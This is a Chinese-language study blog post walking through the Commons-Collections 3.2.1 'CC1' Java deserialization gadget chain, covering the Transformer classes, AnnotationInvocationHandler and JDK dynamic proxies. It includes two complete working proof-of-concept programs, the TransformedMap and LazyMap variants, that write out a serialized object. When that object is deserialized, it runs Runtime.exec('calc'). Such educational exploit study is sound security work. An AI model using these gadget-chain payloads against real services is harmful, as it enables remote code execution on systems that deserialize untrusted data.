拖了一个月,还是决定把Common-Collections利用链学了,毕竟是Java反序列化学习中逃不掉的一关
跟着p神的Java安全漫谈打了一段时间后也算是搞明白了,这里就来记录一下
CC1根据触发方式的不同,分为了两条链,分别是TransformedMap
与LazyMap
环境配置如下
1
2
3
4
5
<dependency>
<groupId> commons-collections</groupId>
<artifactId> commons-collections</artifactId>
<version> 3.2.1</version>
</dependency>
Copy 要构建一个最简单的demo,需要用到的类与接口如下
用于修饰Map,当修饰后的Map在添加新元素时(也就是执行put
时),会执行一个回调
使用静态方法decorate
进行修饰,如下:
1
2
3
public static Map decorate ( Map map , Transformer keyTransformer , Transformer valueTransformer ) {
return new TransformedMap ( map , keyTransformer , valueTransformer );
}
Copy 其中keyTransformer
与valueTransformer
分别对应处理添加的新元素的键、值的回调
Transfromer接口
一个接口,只有一个待实现方法
1
2
3
public interface Transformer {
public Object transform ( Object input );
}
Copy 当被TransformedMap修饰后的Map在添加新元素时,就会调用实现实现Transformer接口的类的transform
函数,也就是上面说的回调,参数是原始对象
举个例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//TestTransformer类
public class TestTransformer implements Transformer {
@Override
public Object transform ( Object input ) {
System . out . println ( "test" );
return "wuhu" ;
}
}
//Main
public class BaseTest {
public static void main ( String [] args ) throws Exception {
Map innerMap = new HashMap ();
innerMap . put ( "1" , 1 );
System . out . println ( innerMap );
TestTransformer testTransformer = new TestTransformer ();
Map outerMap = TransformedMap . decorate ( innerMap , null , testTransformer );
outerMap . put ( "2" , 2 );
System . out . println ( outerMap );
}
}
Copy 以上的输出结果为
1
2
3
{1=1}
test
{1=1, 2=wuhu}
Copy 一个实现了Transformer接口的类,实例化时传入一个对象,并在回调transform
时返回这个对象
1
2
3
4
5
6
7
8
9
10
11
12
public class ConstantTransformer implements Transformer , Serializable {
private final Object iConstant ;
...
public ConstantTransformer ( Object constantToReturn ) {
super ();
iConstant = constantToReturn ;
}
...
public Object transform ( Object input ) {
return iConstant ;
}
}
Copy 简单来说,它的作用就是包装任意一个对象,在执行回调时返回这个对象,方便后续操作
一个实现了Transformer接口的类,从命名上就能看出点名堂,实际上它也正是反序列化能够执行恶意代码的关键
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class InvokerTransformer implements Transformer , Serializable {
/** The method name to call */
private final String iMethodName ;
/** The array of reflection parameter types */
private final Class [] iParamTypes ;
/** The array of reflection arguments */
private final Object [] iArgs ;
...
public InvokerTransformer ( String methodName , Class [] paramTypes , Object [] args ) {
super ();
iMethodName = methodName ;
iParamTypes = paramTypes ;
iArgs = args ;
}
public Object transform ( Object input ) {
if ( input == null ) {
return null ;
}
try {
Class cls = input . getClass ();
Method method = cls . getMethod ( iMethodName , iParamTypes );
return method . invoke ( input , iArgs );
} catch ...
}
Copy 从源码中可看出,实例化时传入三个参数,分别是要调用的方法名、反射参数类型的数组、反射参数的数组
在transform
回调时用反射去执行传入对象的方法
一个实现了Transformer接口的类,用于将内部的多个Transformer串联在一起,前一个Transformer的回调的返回结果,作为后一个Transformer的回调的参数传入,这里用引用p神的示意图便于理解:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class ChainedTransformer implements Transformer , Serializable {
/** The transformers to call in turn */
private final Transformer [] iTransformers ;
...
public ChainedTransformer ( Transformer [] transformers ) {
super ();
iTransformers = transformers ;
}
public Object transform ( Object object ) {
for ( int i = 0 ; i < iTransformers . length ; i ++ ) {
object = iTransformers [ i ] . transform ( object );
}
return object ;
}
}
Copy 构造demo
现在可以来构造一个简单的demo用于做一个小总结
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class VulnTest {
public static void main ( String [] args ) throws Exception {
Transformer [] transformers = new Transformer [] {
new ConstantTransformer ( Runtime . getRuntime ()),
new InvokerTransformer ( "exec" , new Class [] { String . class }, new Object [] { "calc" })
};
ChainedTransformer chainedTransformer = new ChainedTransformer ( transformers );
Map innerMap = new HashMap ();
Map outputMap = TransformedMap . decorate ( innerMap , null , chainedTransformer );
outputMap . put ( "a" , "b" );
}
}
Copy 当我们向修饰后的Map中加入一个新元素后,便会通过反射调用Runtime
类的exec
执行calc命令,弹出计算器,这里是用了put
函数
AnnotationInvocationHandler类
上面这个demo虽然已经实现了代码执行,但是离一个真正可用的POC还有很大的距离。在demo中,可以手动往修饰后的Map中put
元素来触发漏洞,但在实际反序列化时,需要找到一个在readObject
中有类似写入操作的类
这个类便是sun.reflect.annotation.AnnotationInvocationHandler
它的readObject
方法如下(jdk-8u71之前的代码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void readObject ( ObjectInputStream var1 ) throws IOException , ClassNotFoundException {
var1 . defaultReadObject ();
Object var2 = null ;
try {
var10 = AnnotationType . getInstance ( this . type );
} catch ( IllegalArgumentException var9 ) {
throw new InvalidObjectException ( "Non-annotation type in annotation serial stream" );
}
Map var3 = var10 . memberTypes ();
for ( Map . Entry var5 : this . memberValues . entrySet ()) {
String var6 = ( String ) var5 . getKey ();
Class var7 = ( Class ) var3 . get ( var6 );
if ( var7 != null ) {
Object var8 = var5 . getValue ();
if ( ! var7 . isInstance ( var8 ) && ! ( var8 instanceof ExceptionProxy )) {
var5 . setValue (( new AnnotationTypeMismatchExceptionProxy ( var8 . getClass () + "[" + var8 + "]" )). setMember (( Method ) var10 . members (). get ( var6 )));
}
}
}
}
Copy 触发加入元素的操作的是最后一层判断中的var5.setValue()
函数,其中var5
即是反序列化后得到的之前经过TransformMap修饰过的Map,在遍历其中的所有元素后依次设置值,因此会触发漏洞
以下是AnnotationInvocationHandler的构造方法
1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler ( Class <? extends Annotation > var1 , Map < String , Object > var2 ) {
Class [] var3 = var1 . getInterfaces ();
if ( var1 . isAnnotation () && var3 . length == 1 && var3 [ 0 ] == Annotation . class ) {
this . type = var1 ;
this . memberValues = var2 ;
} else {
throw new AnnotationFormatError ( "Attempt to create proxy for a non-annotation type." );
}
}
Copy 我们需要在POC中将其实例化,并把之前经过修饰的Map传入,但从构造方法上可以看出这是个jdk内部类,无法通过new来实例化,因此需要用反射获取它的构造方法,将其设置为外部可见,再调用即可实例化
1
2
3
4
Class <?> clazz = Class . forName ( "sun.reflect.annotation.AnnotationInvocationHandler" );
Constructor <?> constructor = clazz . getDeclaredConstructor ( Class . class , Map . class );
constructor . setAccessible ( true );
Object obj = constructor . newInstance ( Retention . class , outerMap );
Copy 问题来了,这里实例化传入的第一个参数为什么是Retention.class
这里涉及到了注解的知识,还未补过这块的基础知识,在此先跳过,直接看p神给出的两个条件:
所以传入Retention.class
的原因是它有一个方法名为value
,因此为了满足第二个条件,在修饰Map之前,也需要放入一个key为value
的的元素
POC构造
综上,可以构造出完整的POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class VulnTest {
public static void main ( String [] args ) throws Exception {
Transformer [] transformers = new Transformer [] {
new ConstantTransformer ( Runtime . class ),
new InvokerTransformer ( "getMethod" , new Class [] { String . class , Class [] . class }, new Object [] { "getRuntime" , new Class [ 0 ] }),
new InvokerTransformer ( "invoke" , new Class [] { Object . class , Object [] . class }, new Object [] { null , new Object [ 0 ] }),
new InvokerTransformer ( "exec" , new Class [] { String . class }, new Object [] { "calc" })
};
ChainedTransformer chainedTransformer = new ChainedTransformer ( transformers );
Map innerMap = new HashMap ();
innerMap . put ( "value" , "xxx" );
Map outerMap = TransformedMap . decorate ( innerMap , null , chainedTransformer );
Class <?> clazz = Class . forName ( "sun.reflect.annotation.AnnotationInvocationHandler" );
Constructor <?> constructor = clazz . getDeclaredConstructor ( Class . class , Map . class );
constructor . setAccessible ( true );
Object obj = constructor . newInstance ( Retention . class , outerMap );
FileOutputStream fos = new FileOutputStream ( "vulnTest.bin" );
ObjectOutputStream oos = new ObjectOutputStream ( fos );
oos . writeObject ( obj );
oos . close ();
}
}
Copy LazyMap链
ysoserial中使用的是LazyMap而非TransformedMap来触发这条链子
LazyMap类
和TransformedMap类一样都来自CC库,但与前者在写入元素时执行transform回调不同,LazyMap是在自己的get
方法中执行transform回调,从注释中可看出,作用是在get找不到值时,会触发回调
1
2
3
4
5
6
7
8
9
public Object get ( Object key ) {
// create value for key if key is not currently in the map
if ( map . containsKey ( key ) == false ) {
Object value = factory . transform ( key );
map . put ( key , value );
return value ;
}
return map . get ( key );
}
Copy 但是问题在于,AnnotationInvocationHandler
的readObject
方法中没有直接调用到Map的get
方法
而是在invoke
方法中调用到了get
至于要如何触发这个invoke
方法,就需要使用到Java中的jdk动态代理机制
参考这篇文章:JAVA安全基础(三)– java动态代理机制 ,这里就简单讲讲
jdk动态代理
代理对象的生成由Proxy
类的newProxyInstance()
方法来完成
1
2
public static Object newProxyInstance ( ClassLoader loader , Class <?>[] interfaces , InvocationHandler h )
throws IllegalArgumentException {...}
Copy 可以看到需要传入三个参数,第一个是类加载器,使用默认的即可;第二个是需要代理的对象的集合;第三个是实现了InvocationHandler
接口的对象,它覆写的invoke
方法中包含了具体的代理逻辑
这里用下p神的例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//TestInvocationHandler:实现了InvocationHandler接口的类
public class TestInvocationHandler implements InvocationHandler {
protected Map map ;
public TestInvocationHandler ( Map map ) {
this . map = map ;
}
//覆写了invoke方法,当监控到调用的方法名为get时,返回字符串"Hacked Object"
@Override
public Object invoke ( Object proxy , Method method , Object [] args ) throws Throwable {
if ( method . getName (). compareTo ( "get" ) == 0 ) {
System . out . println ( "Hook method: " + method . getName ());
return "Hacked Object" ;
} else {
return method . invoke ( map , args );
}
}
}
//Main
public class Main {
public static void main ( String [] args ) throws Exception {
//创建代理对象
InvocationHandler handler = new TestInvocationHandler ( new HashMap ());
Map proxyMap = ( Map ) Proxy . newProxyInstance ( Map . class . getClassLoader (), new Class [] { Map . class }, handler );
proxyMap . put ( "hello" , "world" );
String result = ( String ) proxyMap . get ( "hello" );
System . out . println ( result );
}
}
Copy 调用了被代理的Map的get
方法后,发现输出的是字符串"Hacked Object"
回看之前使用的AnnotationInvocationHandler
类,可以发现它就是一个实现了InvocationHandler
接口的类,如果将其注入Proxy进行代理,那么在反序列化时,只需要调用任意方法,就会进入到invoke
中,进而触发LazyMap#get
,实现漏洞的利用
POC构造
在之前的POC基础之上进行修改,改用LazyMap
进行修饰,再通过反射实例化AnnotationInvocationHandler
类并传入修饰后的map,再用实例化的handler创建代理类,但不能直接对其执行序列化,这是因为反序列化入口也是在AnnotationInvocationHandler
类中,因此需要重新实例化一次并传入代理类
最终构造POC如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class VulnTest {
public static void main ( String [] args ) throws Exception {
Transformer [] transformers = new Transformer [] {
new ConstantTransformer ( Runtime . class ),
new InvokerTransformer ( "getMethod" , new Class [] { String . class , Class [] . class }, new Object [] { "getRuntime" , new Class [ 0 ] }),
new InvokerTransformer ( "invoke" , new Class [] { Object . class , Object [] . class }, new Object [] { null , new Object [ 0 ] }),
new InvokerTransformer ( "exec" , new Class [] { String . class }, new Object [] { "calc" })
};
ChainedTransformer chainedTransformer = new ChainedTransformer ( transformers );
Map innerMap = new HashMap ();
innerMap . put ( "test" , "xxxx" );
Map outerMap = LazyMap . decorate ( innerMap , chainedTransformer );
Class <?> clazz = Class . forName ( "sun.reflect.annotation.AnnotationInvocationHandler" );
Constructor <?> constructor = clazz . getDeclaredConstructor ( Class . class , Map . class );
constructor . setAccessible ( true );
InvocationHandler handler = ( InvocationHandler ) constructor . newInstance ( Retention . class , outerMap );
Map proxyMap = ( Map ) Proxy . newProxyInstance ( Map . class . getClassLoader (), new Class [] { Map . class }, handler );
handler = ( InvocationHandler ) constructor . newInstance ( Retention . class , proxyMap );
FileOutputStream fos = new FileOutputStream ( "C:\\Users\\Yulock\\Desktop\\1.bin" );
ObjectOutputStream oos = new ObjectOutputStream ( fos );
oos . writeObject ( handler );
oos . close ();
}
}
Copy 对其进行反序列化,即可成功触发漏洞
版本问题
CC1只适用于jdk8u71以下的版本,原因是官方直接修改了AnnotationInvocationHandler
的readObject
方法,改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap
对象代为操作,因此无法再触发漏洞了
至此,除了TransformMap链的注解部分没太理解,CC1的链子大部分都理顺了